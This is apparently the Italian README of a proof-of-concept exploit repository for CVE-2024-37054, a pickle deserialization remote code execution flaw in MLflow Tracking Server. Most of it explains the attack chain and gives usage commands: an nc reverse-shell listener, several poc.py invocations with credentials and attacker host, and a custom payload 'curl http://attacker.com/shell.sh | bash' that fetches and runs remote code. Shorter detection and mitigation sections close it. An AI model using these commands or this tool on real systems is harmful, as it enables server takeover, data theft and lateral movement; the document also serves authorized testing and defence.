
Exploit proof-of-concept per CVE-2024-37054, una RCE di deserializzazione pickle in MLflow Tracking Server. Gli attaccanti autenticati possono sovrascrivere gli artefatti del modello per ottenere l'esecuzione remota di codice. Include indicazioni di rilevamento e mitigazione.
Exploit proof-of-concept per una vulnerabilità critica di deserializzazione pickle nel MLflow Tracking Server, che consente l'esecuzione remota di codice autenticata.
⚠️ Solo per test di sicurezza educativi e autorizzati. Non utilizzare contro sistemi di cui non sei proprietario o per i quali non hai esplicita autorizzazione scritta al test.
| Campo | Valore |
|---|---|
| CVE ID | CVE-2024-37054 |
| Punteggio CVSS | 8.8 (ALTO) |
| Vettore CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Versioni interessate | MLflow < 2.14.3 |
| Versione corretta | MLflow ≥ 2.14.3 |
| Tipo di vulnerabilità | CWE-502: Deserializzazione di dati non attendibili |
| Vettore di attacco | Rete |
| Privilegi richiesti | Bassi (credenziali valide) |
| Interazione utente | Nessuna |
Il MLflow Tracking Server deserializza gli artifact dei modelli tramite il modulo pickle di Python quando carica i modelli per l'inferenza. Un attaccante autenticato può sovrascrivere l'artifact python_model.pkl nel repository degli artifact di MLflow con un payload pickle dannoso. Quando il modello viene successivamente caricato (ad esempio durante una richiesta di predizione), il payload viene deserializzato, eseguendo codice arbitrario sul server.
Prerequisiti per lo sfruttamento:
Lo sfruttamento riuscito consente l'esecuzione remota di codice al livello di privilegio del processo del server MLflow, il che può portare alla compromissione totale del sistema, all'esfiltrazione di dati, al movimento laterale o all'accesso persistente.
python_model.pkl viene sostituito con un payload pickle appositamente costruito tramite PUT /api/2.0/mlflow-artifacts/artifacts/....pickle.load() sull'artifact compromesso.__reduce__ del pickle invoca os.system(), eseguendo il comando dell'attaccante.Il payload utilizza os.system() (una built-in C) anziché cloudpickle per massimizzare la compatibilità tra versioni ed evitare problemi di bytecode specifici della versione di Python.
Requisiti: Python 3.7+, requests
git clone https://github.com/ben-slates/CVE-2024-37054
cd CVE-2024-37054
# Start a listener
nc -lvnp 4444
# Run the exploit
python3 poc.py <TARGET_URL> <MLFLOW_URL> <LHOST> <LPORT>
# Default credentials, basic reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444
# Custom MLflow credentials
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--mlflow-creds admin:MySecretPass123
# App login + MLflow credentials
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--mlflow-creds admin:password \
--app-username admin \
--app-password admin123
# Custom command instead of reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--cmd "curl http://attacker.com/shell.sh | bash"
# Target specific experiment, increase delay for slow servers
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--experiment-id 1 --delay 5
# Verbose output
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 -v
| Argomento | Descrizione |
|---|---|
target | URL dell'applicazione target |
mlflow | URL del MLflow Tracking Server |
lhost | Host dell'attaccante per la callback della reverse shell |
lport | Porta dell'attaccante per la callback della reverse shell |
--mlflow-creds USER:PASS | Credenziali MLflow (predefinite: admin:password) |
--app-username | Nome utente per il login dell'applicazione |
--app-password | Password per il login dell'applicazione |
--app-login-url | Percorso dell'endpoint di login |
--upload-url | Percorso dell'endpoint di upload |
--predict-url | Percorso dell'endpoint di predizione |
--experiment-id ID | Punta a uno specifico ID di esperimento |
--delay SECONDS | Ritardo tra i passaggi (predefinito: 2s) |
--cmd COMMAND | Comando personalizzato da eseguire |
--verbose / --quiet | Controllo della verbosità |
--no-color | Disattiva l'output colorato |
PUT agli endpoint /api/2.0/mlflow-artifacts/artifacts/python_model.pklPOST /api/2.0/mlflow/runs/search seguito immediatamente da modifiche agli artifactos.system() inattese dai processi MLflow# Artifact modification in access logs
grep "PUT.*python_model.pkl" /var/log/mlflow/access.log
# File integrity monitoring
auditctl -w /opt/mlflow/artifacts/ -p wa -k mlflow_artifacts
Immediate:
A lungo termine:
Questo strumento è destinato esclusivamente a:
Non utilizzare questo strumento su sistemi di cui non sei proprietario o per i quali non hai esplicita autorizzazione scritta al test. L'autore non si assume alcuna responsabilità per un uso improprio.
MIT — vedi LICENSE per i dettagli.